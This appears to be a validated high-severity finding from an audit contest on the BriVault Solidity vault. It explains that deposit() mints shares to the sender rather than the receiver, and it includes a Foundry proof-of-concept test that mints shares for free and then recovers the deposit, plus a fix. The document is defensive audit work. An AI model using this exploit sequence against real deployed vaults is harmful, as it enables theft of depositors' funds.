BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Mint free shares

Root + Impact

Description

  • Depositing assets to the vault for another person will give shares to the sender of the transaction instead of the address specified as the receiver. This allows an attacker to freely mint shares (minus the fees) by deposit for another address, and then cancel his participation which allows him to redeem their assets while keeping his shares. It creates a vault shares attack.

// Root cause in the codebase with @> marks to highlight the relevant section
function deposit(uint256 assets, address receiver) public override returns (uint256) {
...
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares); // should give shares to receiver
emit deposited (receiver, stakeAsset);
return participantShares;
}
function cancelParticipation () public {
...
// Issue : the refundAmount is not based on current sender shares
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood:

  • No prerequisites

Impact:

  • Disproportionate inflation in the vault

Proof of Concept

function testDepositAndRedeemFreely() public {
//First deposit
vm.startPrank(user1);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user1);
vm.stopPrank();
//Attacker actions (user2 & user3)
vm.startPrank(user2);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user3);
vm.stopPrank();
vm.assertTrue(briVault.stakedAsset(user3) > 0 ether);
vm.assertEq(briVault.balanceOf(user3), 0);
vm.assertTrue(briVault.balanceOf(user2) > 0);
vm.prank(user3);
briVault.cancelParticipation();
vm.assertEq(briVault.stakedAsset(user3), 0);
// User 2 kept his shares even after user3 redeem his assets
vm.assertTrue(briVault.balanceOf(user2) > 0);
}

Recommended Mitigation

function deposit(uint256 assets, address receiver) public override returns (uint256) {
...
- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Shares Minted to msg.sender Instead of Specified Receiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!